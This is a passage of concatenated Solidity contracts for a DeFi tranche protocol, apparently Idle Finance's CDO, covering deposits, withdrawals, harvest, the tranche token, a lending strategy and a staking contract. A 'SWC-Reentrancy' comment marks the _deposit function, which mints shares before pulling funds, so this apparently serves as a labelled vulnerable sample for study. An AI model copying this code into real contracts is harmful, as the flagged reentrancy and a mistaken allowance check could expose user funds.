token addresses function getRewards() public view returns (address[] memory) { return IIdleCDOStrategy(strategy).getRewardTokens(); } /// @return AA tranches ratio (in underlying value) considering all NAV function getCurrentAARatio() public view returns (uint256) { uint256 AABal = virtualBalance(AATranche); uint256 contractVal = AABal + virtualBalance(BBTranche); if (contractVal == 0) { return 0; } // Current AA tranche split ratio = AABal * FULL_ALLOC / getContractValue() return AABal * FULL_ALLOC / contractVal; } /// @notice this should always be >= of _tranchePrice(_tranche) /// @dev useful for showing updated gains on frontends /// @param _tranche address of the requested tranche /// @return tranche price with current nav function virtualPrice(address _tranche) public view returns (uint256) { uint256 nav = getContractValue(); uint256 lastNAV = _lastNAV(); uint256 trancheSupply = IdleCDOTranche(_tranche).totalSupply(); uint256 _trancheAPRSplitRatio = trancheAPRSplitRatio; if (lastNAV == 0 || trancheSupply == 0) { return oneToken; } // If there is no gain return the current saved price if (nav <= lastNAV) { return _tranchePrice(_tranche); } uint256 gain = nav - lastNAV; // remove performance fee gain -= gain * fee / FULL_ALLOC; // trancheNAV is: lastNAV + trancheGain uint256 trancheNAV; if (_tranche == AATranche) { // trancheGain (AAGain) = gain * trancheAPRSplitRatio / FULL_ALLOC; trancheNAV = lastNAVAA + (gain * _trancheAPRSplitRatio / FULL_ALLOC); } else { // trancheGain (BBGain) = gain * (FULL_ALLOC - trancheAPRSplitRatio) / FULL_ALLOC; trancheNAV = lastNAVBB + (gain * (FULL_ALLOC - _trancheAPRSplitRatio) / FULL_ALLOC); } // price => trancheNAV * ONE_TRANCHE_TOKEN / trancheSupply return trancheNAV * ONE_TRANCHE_TOKEN / trancheSupply; } /// @param _tranche address of the requested tranche /// @return net asset value, in underlying tokens, for _tranche considering all nav function virtualBalance(address _tranche) public view returns (uint256) { return IdleCDOTranche(_tranche).totalSupply() * virtualPrice(_tranche) / ONE_TRANCHE_TOKEN; } /// @return array with addresses of incentiveTokens function getIncentiveTokens() public view returns (address[] memory) { return incentiveTokens; } // ############### // Internal // ############### /// @notice automatically reverts on lending provider default (strategyPrice decreased) /// Ideally users should deposit right after an `harvest` call to maximize profit /// @dev this contract must be approved to spend at least _amount of `token` before calling this method /// @param _amount amount of underlyings (`token`) to deposit /// @param _tranche tranche address /// @return _minted number of tranche tokens minted // SWC-Reentrancy: L242-258 function _deposit(uint256 _amount, address _tranche) internal returns (uint256 _minted) { // check that we are not depositing more than the contract available limit _guarded(_amount); // set _lastCallerBlock hash _updateCallerBlock(); // check if strategyPrice decreased _checkDefault(); // interest accrued since last mint/redeem/harvest is splitted between AA and BB // according to trancheAPRSplitRatio. NAVs of AA and BB are so updated and tranche // prices adjusted accordingly _updatePrices(); // NOTE: mint of shares should be done before transferring funds // mint tranches tokens according to the current prices _minted = _mintShares(_amount, msg.sender, _tranche); // get underlyings from sender IERC20Detailed(token).safeTransferFrom(msg.sender, address(this), _amount); } /// @dev accrues interest to the tranches (update NAVs variables) and updates tranche prices function _updatePrices() internal { uint256 _oneToken = oneToken; // get last saved total net asset value uint256 lastNAV = _lastNAV(); if (lastNAV == 0) { return; } // get the current total net asset value uint256 nav = getContractValue(); if (nav <= lastNAV) { return; } // Calculate gain since last update uint256 gain = nav - lastNAV; // get performance fee amount uint256 performanceFee = gain * fee / FULL_ALLOC; gain -= performanceFee; // and add the value to unclaimedFees unclaimedFees += performanceFee; // Get the current tranche supply uint256 AATotSupply = IdleCDOTranche(AATranche).totalSupply(); uint256 BBTotSupply = IdleCDOTranche(BBTranche).totalSupply(); uint256 AAGain; uint256 BBGain; if (BBTotSupply == 0) { // all gain to AA AAGain = gain; } else if (AATotSupply == 0) { // all gain to BB BBGain = gain; } else { // split the gain between AA and BB holders according to trancheAPRSplitRatio AAGain = gain * trancheAPRSplitRatio / FULL_ALLOC; BBGain = gain - AAGain; } // Update NAVs lastNAVAA += AAGain; // BBGain lastNAVBB += BBGain; // Update tranche prices priceAA = AATotSupply > 0 ? lastNAVAA * ONE_TRANCHE_TOKEN / AATotSupply : _oneToken; priceBB = BBTotSupply > 0 ? lastNAVBB * ONE_TRANCHE_TOKEN / BBTotSupply : _oneToken; } /// @param _amount, in underlyings, to convert in tranche tokens /// @param _to receiver address of the newly minted tranche tokens /// @param _tranche tranche address /// @return _minted number of tranche tokens minted function _mintShares(uint256 _amount, address _to, address _tranche) internal returns (uint256 _minted) { // calculate # of tranche token to mint based on current tranche price _minted = _amount * ONE_TRANCHE_TOKEN / _tranchePrice(_tranche); IdleCDOTranche(_tranche).mint(_to, _minted); // update NAV with the _amount of underlyings added if (_tranche == AATranche) { lastNAVAA += _amount; } else { lastNAVBB += _amount; } } /// @notice this will be called only during harvests /// @param _amount amount of underlyings to deposit /// @return _currAARatio current AA ratio function _depositFees(uint256 _amount) internal returns (uint256 _currAARatio) { if (_amount > 0) { _currAARatio = getCurrentAARatio(); _mintShares(_amount, feeReceiver, // Choose the right tranche to mint based on getCurrentAARatio _currAARatio >= trancheIdealWeightRatio ? BBTranche : AATranche ); // reset unclaimedFees counter unclaimedFees = 0; } } /// @dev updates last tranche prices with the current ones function _updateLastTranchePrices() internal { lastAAPrice = priceAA; lastBBPrice = priceBB; } /// @notice automatically reverts on lending provider default (strategyPrice decreased) /// a user should wait at least one harvest before rededeming otherwise the redeemed amount /// would be less than the deposited one due to the use of a checkpointed price at last harvest /// Ideally users should redeem right after an `harvest` call /// @param _amount in tranche tokens /// @param _tranche tranche address /// @return toRedeem number of underlyings redeemed function _withdraw(uint256 _amount, address _tranche) internal returns (uint256 toRedeem) { // check if a deposit is made in the same block from the same user _checkSameTx(); // check if strategyPrice decreased _checkDefault(); // accrue interest to tranches and updates tranche prices _updatePrices(); // redeem all user balance if 0 is passed as _amount if (_amount == 0) { _amount = IERC20Detailed(_tranche).balanceOf(msg.sender); } require(_amount > 0, 'IDLE:IS_0'); address _token = token; // get current net unlent balance uint256 balanceUnderlying = _contractTokenBalance(_token); // Calculate the amount to redeem using the checkpointed price from last harvest // NOTE: if use _tranchePrice directly one can deposit a huge amount before an harvest // to steal interest generated from rewards toRedeem = _amount * _lastTranchePrice(_tranche) / ONE_TRANCHE_TOKEN; if (toRedeem > balanceUnderlying) { // if the unlent balance is not enough we try to redeem directly from the strategy // NOTE: there could be a difference of up to 100 wei due to rounding toRedeem = _liquidate(toRedeem - balanceUnderlying, revertIfTooLow); } // burn tranche token IdleCDOTranche(_tranche).burn(msg.sender, _amount); // send underlying to msg.sender IERC20Detailed(_token).safeTransfer(msg.sender, toRedeem); // update NAV with the _amount of underlyings removed if (_tranche == AATranche) { lastNAVAA -= toRedeem; } else { lastNAVBB -= toRedeem; } } /// @dev check if strategyPrice is decreased since last update and updates last saved strategy price function _checkDefault() internal { uint256 currPrice = strategyPrice(); if (!skipDefaultCheck) { require(lastStrategyPrice <= currPrice, "IDLE:DEFAULT_WAIT_SHUTDOWN"); } lastStrategyPrice = currPrice; } /// @dev this should liquidate at least _amount or revertIfNeeded /// @param _amount in underlying tokens /// @param _revertIfNeeded flag whether to revert or not if the redeemed amount is not enough /// @return _redeemedTokens number of underlyings redeemed function _liquidate(uint256 _amount, bool _revertIfNeeded) internal returns (uint256 _redeemedTokens) { _redeemedTokens = IIdleCDOStrategy(strategy).redeemUnderlying(_amount); if (_revertIfNeeded) { // keep 100 wei as margin for rounding errors require(_redeemedTokens + 100 >= _amount, 'IDLE:TOO_LOW'); } } /// @notice sends specific rewards to the tranche rewards staking contracts function _updateIncentives(uint256 currAARatio) internal { // Read state variables only once to save gas uint256 _trancheIdealWeightRatio = trancheIdealWeightRatio; uint256 _trancheAPRSplitRatio = trancheAPRSplitRatio; uint256 _idealRange = idealRange; address _BBStaking = BBStaking; address _AAStaking = AAStaking; // Check if BB tranches should be rewarded (is AA ratio high) if (_BBStaking != address(0) && (currAARatio > (_trancheIdealWeightRatio + _idealRange))) { // give more rewards to BB holders, ie send some rewards to BB Staking contract return _depositIncentiveToken(_BBStaking, FULL_ALLOC); } // Check if AA tranches should be rewarded (is AA ratio low) if (_AAStaking != address(0) && (currAARatio < (_trancheIdealWeightRatio - _idealRange))) { // give more rewards to AA holders, ie send some rewards to AA Staking contract return _depositIncentiveToken(_AAStaking, FULL_ALLOC); } // Split rewards according to trancheAPRSplitRatio in case the ratio between // AA and BB is already ideal // NOTE: the order is important here, first there must be the deposit for AA rewards _depositIncentiveToken(_AAStaking, _trancheAPRSplitRatio); // NOTE: here we should use FULL_ALLOC directly and not (FULL_ALLOC - _trancheAPRSplitRatio) // because contract balance for incentive tokens is fetched at each _depositIncentiveToken // and the balance for AA already transferred _depositIncentiveToken(_BBStaking, FULL_ALLOC); } /// @notice sends requested ratio of incentive tokens reward to a specific IdleCDOTrancheRewards contract /// @param _stakingContract address which will receive incentive Rewards /// @param _ratio ratio of the incentive token balance to send function _depositIncentiveToken(address _stakingContract, uint256 _ratio) internal { address[] memory _incentiveTokens = incentiveTokens; for (uint256 i = 0; i < _incentiveTokens.length; i++) { address _incentiveToken = _incentiveTokens[i]; // deposit the requested ratio of the current contract balance of _incentiveToken to `_to` uint256 _reward = _contractTokenBalance(_incentiveToken) * _ratio / FULL_ALLOC; if (_reward > 0) { IIdleCDOTrancheRewards(_stakingContract).depositReward(_incentiveToken, _reward); } } } /// @return the total saved net asset value for all tranches function _lastNAV() internal view returns (uint256) { return lastNAVAA + lastNAVBB; } /// @param _tranche tranche address /// @return last saved price for minting tranche tokens, in underlyings function _tranchePrice(address _tranche) internal view returns (uint256) { if (IdleCDOTranche(_tranche).totalSupply() == 0) { return oneToken; } return _tranche == AATranche ? priceAA : priceBB; } /// @param _tranche tranche address /// @return last saved price for redeeming tranche tokens (updated on harvests), in underlyings function _lastTranchePrice(address _tranche) internal view returns (uint256) { return _tranche == AATranche ? lastAAPrice : lastBBPrice; } /// @notice the apr can be higher than the strategy apr /// @dev returns the current apr for a tranche based on trancheAPRSplitRatio and the provided AA split ratio /// @param _tranche tranche token /// @param _AATrancheSplitRatio AA split ratio used for calculations /// @return apr for the specific tranche function _getApr(address _tranche, uint256 _AATrancheSplitRatio) internal view returns (uint256) { uint256 stratApr = strategyAPR(); uint256 _trancheAPRSplitRatio = trancheAPRSplitRatio; bool isAATranche = _tranche == AATranche; if (_AATrancheSplitRatio == 0) { return isAATranche ? 0 : stratApr; } return isAATranche ? stratApr * _trancheAPRSplitRatio / _AATrancheSplitRatio : stratApr * (FULL_ALLOC - _trancheAPRSplitRatio) / (FULL_ALLOC - _AATrancheSplitRatio); } // ################### // Protected // ################### /// @notice can be called only by the rebalancer or the owner /// @dev it redeems rewards if any from the lending provider of the strategy and converts them in underlyings. /// it also deposits eventual unlent balance already present in the contract with the strategy. /// This method will be called by an exteranl keeper bot which will call the method sistematically (eg once a day) /// @param _skipRedeem whether to redeem rewards from strategy or not (for gas savings) /// @param _skipIncentivesUpdate whether to update incentives or not /// @param _skipReward array of flags for skipping the market sell of specific rewards. Lenght should be equal to the `getRewards()` array /// @param _minAmount array of min amounts for uniswap trades. Lenght should be equal to the _skipReward array function harvest(bool _skipRedeem, bool _skipIncentivesUpdate, bool[] calldata _skipReward, uint256[] calldata _minAmount) external { require(msg.sender == rebalancer || msg.sender == owner(), "IDLE:!AUTH"); // Fetch state variable once to save gas address _token = token; address _strategy = strategy; // Check whether to redeem rewards from strategy or not if (!_skipRedeem) { // Fetch state variables once to save gas address[] memory _incentiveTokens = incentiveTokens; address _weth = weth; IUniswapV2Router02 _uniRouter = uniswapRouterV2; // Redeem all rewards associated with the strategy IIdleCDOStrategy(_strategy).redeemRewards(); // get all rewards addresses address[] memory rewards = getRewards(); for (uint256 i = 0; i < rewards.length; i++) { address rewardToken = rewards[i]; // get the balance of a specific reward uint256 _currentBalance = _contractTokenBalance(rewardToken); // check if it should be sold or not if (_skipReward[i] || _currentBalance == 0 || _includesAddress(_incentiveTokens, rewardToken)) { continue; } // Prepare path for uniswap trade address[] memory _path = new address[](3); _path[0] = rewardToken; _path[1] = _weth; _path[2] = _token; // approve the uniswap router to spend our reward IERC20Detailed(rewardToken).safeIncreaseAllowance(address(_uniRouter), _currentBalance); // do the uniswap trade _uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( _currentBalance, _minAmount[i], _path, address(this), block.timestamp + 1 ); } // split converted rewards and update tranche prices for mint // NOTE: that fee on gov tokens will be accumulated in unclaimedFees _updatePrices(); // update last saved prices for redeems at this point // if we arrived here we assume all reward tokens with 'big' balance have been sold in the market // others could have been skipped (with flags set off chain) but it just means that // were not worth a lot so should be safe to assume that those wont' be siphoned from theft of interest attacks // NOTE: This method call should not be inside the `if finalBalance > initialBalance` just in case // no rewards are distributed from the underlying strategy _updateLastTranchePrices(); // Get fees in the form of totalSupply diluition // NOTE we return currAARatio to reuse it in _updateIncentives and so to save some gas uint256 currAARatio = _depositFees(unclaimedFees); if (!_skipIncentivesUpdate) { // Update tranche incentives distribution and send rewards to staking contracts _updateIncentives(currAARatio); } } // If we _skipRedeem we don't need to call _updatePrices because lastNAV is already updated uint256 underlyingBal = _contractTokenBalance(_token); // Put unlent balance at work in the lending provider IIdleCDOStrategy(_strategy).deposit( // Keep some unlent balance for cheap redeems and as reserve of last resort underlyingBal - (underlyingBal * unlentPerc / FULL_ALLOC) ); } /// @notice can be called only by the rebalancer or the owner /// @param _amount in underlyings to liquidate from lending provider /// @param _revertIfNeeded flag to revert if amount liquidated is too low /// @return liquidated amount in underlyings function liquidate(uint256 _amount, bool _revertIfNeeded) external returns (uint256) { require(msg.sender == rebalancer || msg.sender == owner(), "IDLE:!AUTH"); return _liquidate(_amount, _revertIfNeeded); } // ################### // onlyOwner // ################### /// @param _allowed flag to allow AA withdraws function setAllowAAWithdraw(bool _allowed) external onlyOwner { allowAAWithdraw = _allowed; } /// @param _allowed flag to allow BB withdraws function setAllowBBWithdraw(bool _allowed) external onlyOwner { allowBBWithdraw = _allowed; } /// @param _allowed flag to enable the 'default' check (whether strategyPrice decreased or not) function setSkipDefaultCheck(bool _allowed) external onlyOwner { skipDefaultCheck = _allowed; } /// @param _allowed flag to enable the check if redeemed amount during liquidations is enough function setRevertIfTooLow(bool _allowed) external onlyOwner { revertIfTooLow = _allowed; } /// @notice updates the strategy used (potentially changing the lending protocol used) /// @dev it's REQUIRED to liquidate / redeem everything from the lending provider before changing strategy /// it's also REQUIRED to transfer out any incentive tokens accrued if those are changed from the current ones /// if the lending provider is changes /// @param _strategy new strategy address /// @param _incentiveTokens array of incentive tokens addresses function setStrategy(address _strategy, address[] memory _incentiveTokens) external onlyOwner { require(_strategy != address(0), 'IDLE:IS_0'); IERC20Detailed _token = IERC20Detailed(token); // revoke allowance for the current strategy address _currStrategy = strategy; _token.safeApprove(_currStrategy, 0); IERC20Detailed(strategyToken).safeApprove(_currStrategy, 0); // Updated strategy variables strategy = _strategy; // Update incentive tokens incentiveTokens = _incentiveTokens; // Update strategyToken address _newStrategyToken = IIdleCDOStrategy(_strategy).strategyToken(); strategyToken = _newStrategyToken; // Approve underlyingToken _token.safeIncreaseAllowance(_strategy, type(uint256).max); // Approve strategyToken IERC20Detailed(_newStrategyToken).safeIncreaseAllowance(_strategy, type(uint256).max); // Update last strategy price lastStrategyPrice = strategyPrice(); } /// @param _rebalancer new rebalancer address function setRebalancer(address _rebalancer) external onlyOwner { require((rebalancer = _rebalancer) != address(0), 'IDLE:IS_0'); } /// @param _feeReceiver new fee receiver address function setFeeReceiver(address _feeReceiver) external onlyOwner { require((feeReceiver = _feeReceiver) != address(0), 'IDLE:IS_0'); } /// @param _guardian new guardian (pauser) address function setGuardian(address _guardian) external onlyOwner { require((guardian = _guardian) != address(0), 'IDLE:IS_0'); } /// @param _fee new fee function setFee(uint256 _fee) external onlyOwner { require((fee = _fee) <= MAX_FEE, 'IDLE:TOO_HIGH'); } /// @param _unlentPerc new unlent percentage function setUnlentPerc(uint256 _unlentPerc) external onlyOwner { require((unlentPerc = _unlentPerc) <= FULL_ALLOC, 'IDLE:TOO_HIGH'); } /// @param _idealRange new ideal range function setIdealRange(uint256 _idealRange) external onlyOwner { require((idealRange = _idealRange) <= FULL_ALLOC, 'IDLE:TOO_HIGH'); } /// @dev it's REQUIRED to transfer out any incentive tokens accrued before /// @param _incentiveTokens array with new incentive tokens function setIncentiveTokens(address[] memory _incentiveTokens) external onlyOwner { incentiveTokens = _incentiveTokens; } /// @notice Set tranche Rewards contract addresses (for tranches incentivization) /// @param _AAStaking IdleCDOTrancheRewards contract address for AA tranches /// @param _BBStaking IdleCDOTrancheRewards contract address for BB tranches function setStakingRewards(address _AAStaking, address _BBStaking) external onlyOwner { // Read state variable once address[] memory _incentiveTokens = incentiveTokens; address _currAAStaking = AAStaking; address _currBBStaking = BBStaking; // Remove allowance for current contracts for (uint256 i = 0; i < _incentiveTokens.length; i++) { IERC20Detailed _incentiveToken = IERC20Detailed(_incentiveTokens[i]); if (_currAAStaking != address(0)) { _incentiveToken.safeApprove(_currAAStaking, 0); } if (_currAAStaking != address(0)) { _incentiveToken.safeApprove(_currBBStaking, 0); } } // Update staking contract addresses AAStaking = _AAStaking; BBStaking = _BBStaking; // Increase allowance for new contracts for (uint256 i = 0; i < _incentiveTokens.length; i++) { IERC20Detailed _incentiveToken = IERC20Detailed(_incentiveTokens[i]); // Approve each staking contract to spend each incentiveToken on beahlf of this contract _incentiveToken.safeIncreaseAllowance(_AAStaking, type(uint256).max); _incentiveToken.safeIncreaseAllowance(_BBStaking, type(uint256).max); } } /// @notice can be called by both the owner and the guardian /// @dev pause deposits and redeems for all classes of tranches function emergencyShutdown() external { require(msg.sender == guardian || msg.sender == owner(), "IDLE:!AUTH"); _pause(); allowAAWithdraw = false; allowBBWithdraw = false; skipDefaultCheck = true; revertIfTooLow = true; } /// @notice can be called by both the owner and the guardian /// @dev Pauses deposits and redeems function pause() external { require(msg.sender == guardian || msg.sender == owner(), "IDLE:!AUTH"); _pause(); } /// @notice can be called by both the owner and the guardian /// @dev Unpauses deposits and redeems function unpause() external { require(msg.sender == guardian || msg.sender == owner(), "IDLE:!AUTH"); _unpause(); } // ################### // Helpers // ################### /// @param _token token address /// @return balance of `_token` for this contract function _contractTokenBalance(address _token) internal view returns (uint256) { return IERC20Detailed(_token).balanceOf(address(this)); } /// @dev Set last caller and block.number hash. This should be called at the beginning of the first function to protect function _updateCallerBlock() internal { _lastCallerBlock = keccak256(abi.encodePacked(tx.origin, block.number)); } /// @dev Check that the second function is not called in the same tx from the same tx.origin function _checkSameTx() internal view { require(keccak256(abi.encodePacked(tx.origin, block.number)) != _lastCallerBlock, "SAME_BLOCK"); } /// @dev this method is only used to check whether a token is an incentive tokens or not /// in the harvest call. The maximum number of element in the array will be a small number (eg at most 3-5) /// @param _array array of addresses to search for an element /// @param _val address of an element to find /// @return flag if the _token is an incentive token or not function _includesAddress(address[] memory _array, address _val) internal pure returns (bool) { for (uint256 i = 0; i < _array.length; i++) { if (_array[i] == _val) { return true; } } // explicit return to fix linter return false; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.4; import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol'; contract IdleCDOStorage { // constant to represent 100% uint256 public constant FULL_ALLOC = 100000; // max fee, relative to FULL_ALLOC uint256 public constant MAX_FEE = 20000; // one token uint256 public constant ONE_TRANCHE_TOKEN = 10**18; // variable used to save the last tx.origin and block.number bytes32 internal _lastCallerBlock; // WETH address address public weth; // tokens used to incentivize the idle tranche ideal ratio address[] public incentiveTokens; // underlying token (eg DAI) address public token; // address that can only pause/unpause the contract in case of emergency address public guardian; // one `token` (eg for DAI 10**18) uint256 public oneToken; // address that can call the 'harvest' method and lend pool assets address public rebalancer; // address of the uniswap v2 router IUniswapV2Router02 internal uniswapRouterV2; // Flag for allowing AA withdraws bool public allowAAWithdraw; // Flag for allowing BB withdraws bool public allowBBWithdraw; // Flag for allowing to enable reverting in case the strategy gives back less // amount than the requested one bool public revertIfTooLow; // Flag to enable the `Default Check` (related to the emergency shutdown) bool public skipDefaultCheck; // address of the strategy used to lend funds address public strategy; // address of the strategy token which represent the position in the lending provider address public strategyToken; // address of AA Tranche token contract address public AATranche; // address of BB Tranche token contract address public BBTranche; // address of AA Staking reward token contract address public AAStaking; // address of BB Staking reward token contract address public BBStaking; // Apr split ratio for AA tranches // (relative to FULL_ALLOC so 50% => 50000 => 50% of the interest to tranche AA) uint256 public trancheAPRSplitRatio; // // Ideal tranche split ratio in `token` value // (relative to FULL_ALLOC so 50% => 50000 means 50% of tranches (in value) should be AA) uint256 public trancheIdealWeightRatio; // Price for minting AA tranche, in underlyings uint256 public priceAA; // Price for minting BB tranche, in underlyings uint256 public priceBB; // last saved net asset value (in `token`) for AA tranches uint256 public lastNAVAA; // last saved net asset value (in `token`) for BB tranches uint256 public lastNAVBB; // last saved lending provider price uint256 public lastStrategyPrice; // Price for redeeming AA tranche, updated on each `harvest` call uint256 public lastAAPrice; // Price for redeeming BB tranche, updated on each `harvest` call uint256 public lastBBPrice; // Keeps track of unclaimed fees for feeReceiver uint256 public unclaimedFees; // Keeps an unlent balance both for cheap redeem and as 'insurance of last resort' uint256 public unlentPerc; // Fee amount (relative to FULL_ALLOC) uint256 public fee; // address of the fee receiver address public feeReceiver; // trancheIdealWeightRatio ± idealRanges, used in updateIncentives uint256 public idealRange; } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; /// @dev ERC20 representing a tranche token contract IdleCDOTranche is ERC20 { // allowed minter address address public minter; /// @param _name tranche name /// @param _symbol tranche symbol constructor( string memory _name, // eg. IdleDAI string memory _symbol // eg. IDLEDAI ) ERC20(_name, _symbol) { // minter is msg.sender which is IdleCDO (in initialize) minter = msg.sender; } /// @param account that should receive the tranche tokens /// @param amount of tranche tokens to mint function mint(address account, uint256 amount) external { require(msg.sender == minter, 'TRANCHE:!AUTH'); _mint(account, amount); } /// @param account that should have the tranche tokens burned /// @param amount of tranche tokens to burn function burn(address account, uint256 amount) external { require(msg.sender == minter, 'TRANCHE:!AUTH'); _burn(account, amount); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.4; import "hardhat/console.sol"; import "./interfaces/IIdleCDOStrategy.sol"; import "./interfaces/IIdleToken.sol"; import "./interfaces/IIdleTokenHelper.sol"; import "./interfaces/IERC20Detailed.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; /// @title IdleStrategy /// @notice IIdleCDOStrategy to deploy funds in Idle Finance /// @dev This contract should not have any funds at the end of each tx. /// The contract is upgradable, to add storage slots, add them after the last `###### End of storage VXX` contract IdleStrategy is Initializable, OwnableUpgradeable, ReentrancyGuardUpgradeable, IIdleCDOStrategy { using SafeERC20Upgradeable for IERC20Detailed; /// ###### Storage V1 /// @notice one idleToken (all idleTokens have 18 decimals) uint256 public constant ONE_IDLE_TOKEN = 10**18; /// @notice address of the strategy used, in this case idleToken address address public override strategyToken; /// @notice underlying token address (eg DAI) address public override token; /// @notice one underlying token uint256 public override oneToken; /// @notice decimals of the underlying asset uint256 public override tokenDecimals; /// @notice underlying ERC20 token contract IERC20Detailed public underlyingToken; /// @notice idleToken contract IIdleToken public idleToken; /// ###### End of storage V1 // ################### // Initializer // ################### /// @notice can only be called once /// @dev Initialize the upgradable contract /// @param _strategyToken address of the strategy token /// @param _owner owner address function initialize(address _strategyToken, address _owner) public initializer { // Initialize contracts OwnableUpgradeable.__Ownable_init(); ReentrancyGuardUpgradeable.__ReentrancyGuard_init(); // Set basic parameters strategyToken = _strategyToken; token = IIdleToken(_strategyToken).token(); tokenDecimals = IERC20Detailed(token).decimals(); oneToken = 10**(tokenDecimals); idleToken = IIdleToken(_strategyToken); underlyingToken = IERC20Detailed(token); underlyingToken.safeApprove(_strategyToken, type(uint256).max); // transfer ownership transferOwnership(_owner); } // ################### // Public methods // ################### /// @dev msg.sender should approve this contract first to spend `_amount` of `token` /// @param _amount amount of `token` to deposit /// @return minted strategyTokens minted function deposit(uint256 _amount) external override returns (uint256 minted) { if (_amount > 0) { IIdleToken _idleToken = idleToken; /// get `tokens` from msg.sender underlyingToken.safeTransferFrom(msg.sender, address(this), _amount); /// deposit those in Idle minted = _idleToken.mintIdleToken(_amount, true, address(0)); /// transfer idleTokens to msg.sender _idleToken.transfer(msg.sender, minted); } } /// @dev msg.sender should approve this contract first to spend `_amount` of `strategyToken` /// @param _amount amount of strategyTokens to redeem /// @return amount of underlyings redeemed function redeem(uint256 _amount) external override returns(uint256) { return _redeem(_amount); } /// @notice Anyone can call this because this contract holds no idleTokens and so no 'old' rewards /// @dev msg.sender should approve this contract first to spend `_amount` of `strategyToken`. /// redeem rewards and transfer them to msg.sender function redeemRewards() external override { IIdleToken _idleToken = idleToken; // Get all idleTokens from msg.sender uint256 bal = _idleToken.balanceOf(msg.sender); if (bal > 0) { _idleToken.transferFrom(msg.sender, address(this), bal); // Do a 0 redeem to get gov tokens _idleToken.redeemIdleToken(0); // Give all idleTokens back to msg.sender _idleToken.transfer(msg.sender, bal); // Send all gov tokens to msg.sender _withdrawGovToken(msg.sender); } } /// @dev msg.sender should approve this contract first /// to spend `_amount * ONE_IDLE_TOKEN / price()` of `strategyToken` /// @param _amount amount of underlying tokens to redeem /// @return amount of underlyings redeemed function redeemUnderlying(uint256 _amount) external override returns(uint256) { // we are getting price before transferring so price of msg.sender return _redeem(_amount * ONE_IDLE_TOKEN / price()); } // ################### // Internal // ################### /// @notice sends all gov tokens in this contract to an address /// @dev only called /// @param _to address where to send gov tokens (rewards) function _withdrawGovToken(address _to) internal { address[] memory _govTokens = idleToken.getGovTokens(); for (uint256 i = 0; i < _govTokens.length; i++) { IERC20Detailed govToken = IERC20Detailed(_govTokens[i]); // get the current contract balance uint256 bal = govToken.balanceOf(address(this)); if (bal > 0) { // transfer all gov tokens govToken.safeTransfer(_to, bal); } } } /// @dev msg.sender should approve this contract first to spend `_amount` of `strategyToken` /// @param _amount amount of strategyTokens to redeem /// @return redeemed amount of underlyings redeemed function _redeem(uint256 _amount) internal returns(uint256 redeemed) { if (_amount > 0) { IIdleToken _idleToken = idleToken; // get idleTokens from the user _idleToken.transferFrom(msg.sender, address(this), _amount); // redeem underlyings from Idle redeemed = _idleToken.redeemIdleToken(_amount); // transfer underlyings to msg.sender underlyingToken.safeTransfer(msg.sender, redeemed); // transfer gov tokens to msg.sender _withdrawGovToken(msg.sender); } } // ################### // Views // ################### /// @return net price in underlyings of 1 strategyToken function price() public override view returns(uint256) { // idleToken price is specific to each user return idleToken.tokenPriceWithFee(msg.sender); } /// @return apr net apr (fees should already be excluded) function getApr() external override view returns(uint256 apr) { IIdleToken _idleToken = idleToken; apr = _idleToken.getAvgAPR(); // remove fee // 100000 => 100% in IdleToken contracts apr -= apr * _idleToken.fee() / 100000; } /// @return tokens array of reward token addresses function getRewardTokens() external override view returns(address[] memory tokens) { return idleToken.getGovTokens(); } // ################### // Protected // ################### /// @notice This contract should not have funds at the end of each tx, this method is just for leftovers /// @dev Emergency method /// @param _token address of the token to transfer /// @param value amount of `_token` to transfer /// @param _to receiver address function transferToken(address _token, uint256 value, address _to) external onlyOwner nonReentrant { IERC20Detailed(_token).safeTransfer(_to, value); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "./interfaces/IIdleCDOStrategy.sol"; import "./interfaces/IERC20Detailed.sol"; import "./interfaces/IIdleCDOTrancheRewards.sol"; import "./interfaces/IIdleCDO.sol"; import "./IdleCDOTrancheRewardsStorage.sol"; import "hardhat/console.sol"; /// @title IdleCDOTrancheRewards /// @dev Contract used for staking specific tranche tokens and getting incentive rewards contract IdleCDOTrancheRewards is Initializable, PausableUpgradeable, OwnableUpgradeable, ReentrancyGuardUpgradeable, IIdleCDOTrancheRewards, IdleCDOTrancheRewardsStorage { using SafeERC20Upgradeable for IERC20Detailed; /// @notice Initialize the contract /// @param _trancheToken tranche address /// @param _rewards The rewards tokens /// @param _owner The owner of the contract /// @param _idleCDO The CDO where the reward tokens come from /// @param _governanceRecoveryFund address where rewards will be sent in case of transferToken call function initialize( address _trancheToken, address[] memory _rewards, address _owner, address _idleCDO, address _governanceRecoveryFund, uint256 _coolingPeriod ) public initializer { OwnableUpgradeable.__Ownable_init(); ReentrancyGuardUpgradeable.__ReentrancyGuard_init(); PausableUpgradeable.__Pausable_init(); transferOwnership(_owner); idleCDO = _idleCDO; tranche = _trancheToken; rewards = _rewards; governanceRecoveryFund = _governanceRecoveryFund; coolingPeriod = _coolingPeriod; } /// @notice Stake _amount of tranche token /// @param _amount The amount of tranche tokens to stake function stake(uint256 _amount) external whenNotPaused override { usersStakeBlock[msg.sender] = block.number; // update user index for each reward _updateUserIdx(msg.sender, _amount); usersStakes[msg.sender] += _amount; IERC20Detailed(tranche).safeTransferFrom(msg.sender, address(this), _amount); totalStaked += _amount; } /// @notice Unstake _amount of tranche tokens /// @param _amount The amount to unstake function unstake(uint256 _amount) external nonReentrant override { require(usersStakeBlock[msg.sender] + coolingPeriod < block.number, "COOLING_PERIOD"); if (paused()) { // If the contract is paused, "unstake" will skip the claim of the rewards, // and those rewards won't be claimable in the future. address reward; for (uint256 i = 0; i < rewards.length; i++) { reward = 